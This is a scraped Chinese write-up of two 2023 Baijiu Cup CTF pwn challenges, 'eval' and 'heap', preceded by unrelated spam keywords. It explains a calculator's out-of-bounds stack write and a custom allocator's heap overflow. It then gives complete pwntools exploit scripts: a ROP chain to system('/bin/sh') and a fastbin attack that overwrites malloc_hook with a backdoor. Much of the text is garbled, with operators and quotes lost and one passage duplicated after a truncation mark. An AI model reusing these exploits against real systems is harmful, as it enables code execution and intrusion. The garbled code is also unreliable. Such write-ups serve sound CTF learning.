做旅游网站的目的和意义,微信平台制作网站开发,惠州住房和城乡建设厅网站,网片焊接2023柏鹫杯
eval
程序分析简单看一下发现是实现了一个计算器#xff0c;主要内容实在sub_E50中#xff0c;说实话看的时候挺迷的#xff0c;主要是那个存放数据的结构体没看懂啥规律#xff0c;后来参看的别人的思路#xff0c;就是硬调试漏洞其实不是很难找到#xff0c…2023柏鹫杯eval程序分析简单看一下发现是实现了一个计算器主要内容实在sub_E50中说实话看的时候挺迷的主要是那个存放数据的结构体没看懂啥规律后来参看的别人的思路就是硬调试漏洞其实不是很难找到当你输入100时会发现有一个段错误就可以想到会有一个非法访问地址就会发现在sub_DC9中有一个*(a1 8 * v5) v8;操作这里a1是一个栈地址v8是一个运算符号后面的数据是我们可以控制但是这个v5也就是v4发现是0,接下来做的就是看看有没有办法控制这个v4(这个v4就是结构体中的第四个成员也就是运算符号前面的数据)发现在sub_AC7函数中有这个操作而且调用sub_AC7必须在调用sub_DC9前面发现总共有两个地方调用了sub_AC7,一定不是sub_E50中的那个(那个在sub_DC9后面)那只能是从sub_CB1调用了但是想要进入sub_CB1需要满足if ( !(unsigned int)sub_966((unsigned int)v3) )也就是当前的检查的字符是运算符号这样才能进入下面的sub_CB1,而想要进入sub_AC7不能是第一次进入这个函数也就是说必须有两个运算符号然后就可以达到任意在栈中任意地址写这样就可达到修改main的返回地址至于泄露地址就是利用printf(%ld\n, a2[a2[3] 3]);同上面一样向a2[a2[3] 3]中填写一个存有libc的栈地址这样就可得到发送的数据的格式nump64(system)expfrom tools import * r process(./eval) elf ELF(./eval) libc ELF(./libc.so.6) context(archamd64,oslinux,log_leveldebug) payload 521 r.sendline(payload) libc_base int(r.recvuntil(\n)) - 244 - libc.symbols[__libc_start_main] log_addr(libc_base) pop_rdi_ret libc_base0x23b6a system_addr libc_baselibc.symbols[system] bin_sh libc_baselibc.search(b/bin/sh).__next__() debug(r,pie,0xE9d) log_addr(system_addr) payload 54str(system_addr) r.sendline(payload) payload 53str(bin_sh) r.sendline(payload) payload 52str(pop_rdi_ret) r.sendline(payload) payload 51str(libc_base0x0000000000023b6b) r.sendline(payload) r.send(\n) r.interactive()heap程序分析这道题的漏洞比较简单主要难点在于它自己实现了一个malloc和free实现了fastbin和unsortedbin并且这个chunk头还有glibc中不一样一个正在使用的chunk第一个成员是一个7位的随机数主要用于在free中会检查这个数字是否被破坏第二个成员高4位用于存放size,第四位是0xaaaaaaaa,也是在free中会被检查带三个成员是下一个被使用的chunk大小相同, 即使先一个chunk被释放到这个也会存在一个被释放的chunk发现和上面的相比多了两个成员一个是指向上一个chunk一个是指向下一个chunk漏洞利用漏洞是在edit中有一个溢出并且存在show,在程序中也可以找到后门函数思路就是fastbin attack修改malloc_hook为后门函数exp打本的话需要添加env{FLAG: it-is-flag}因为本地没有这个环境变量from tools import * p process(./heap, env{FLAG: it-is-flag}) context.log_leveldebug def add(sz): p.recvuntil(b ) p.sendline(b1) p.recvuntil(bsize: ) p.sendline(str(sz).encode()) def delete(idx): p.recvuntil(b ) p.sendline(b2) p.recvuntil(bindex: ) p.sendline(str(idx).encode()) def edit(idx,context): p.recvuntil(b ) p.sendline(b3) p.recvuntil(bindex: ) p.sendline(str(idx).encode()) p.recvuntil(bdata: ) p.send(context) def show(idx): p.recvuntil(b ) p.sendline(b4) p.recvuntil(bindex: ) p.sendline(str(idx).encode()) show_p0xEA5 edit_p0xE42 add_p0xD20 delete_p0xDAA add(0x100)#0 add(0x100)#1 add(0x100)#2 add(0x100)#3 add(0x100)#4 delete(1) delete(2) edit(0,0x111*ba) show(0) p.recvuntil(ba*0x111) key1u64(b\0p.recv(7)) log_addr(key1) edit(0,0x120*ba) show(0) p.recvuntil(ba*0x120) heap_nextu64(p.recv(6)b\0\0) log_addr(heap_next) edit(0,0x128*ba) show(0) p.recvuntil(ba*0x128) baseu64(p.recv(6)b\0\0)-0x203060 log_addr(base) edit(0,0x110*bap64(key1)p64(heap_next)p64(base0x203060)) add(0x20)#1 add(0x20)#2 add(0x20)#5 add(0x20)#6 debug(p,pie,edit_p,show_p,add_p) delete(5) delete(2) edit(1,0x31*ba) show(1) p.recvuntil(ba*0x31) key2u64(b\0p.recv(7)) log_addr(key2) malloc_hookbase0x2031E0-0x28 edit(1,0x30*bap64(key2)p64(0x30aaaaaaaa)p64(malloc_hook)*3) add(0x20)#2 add(0x20)#5 doorbase0xEAD edit(5,p64(door)) add(0x20) p.interactive()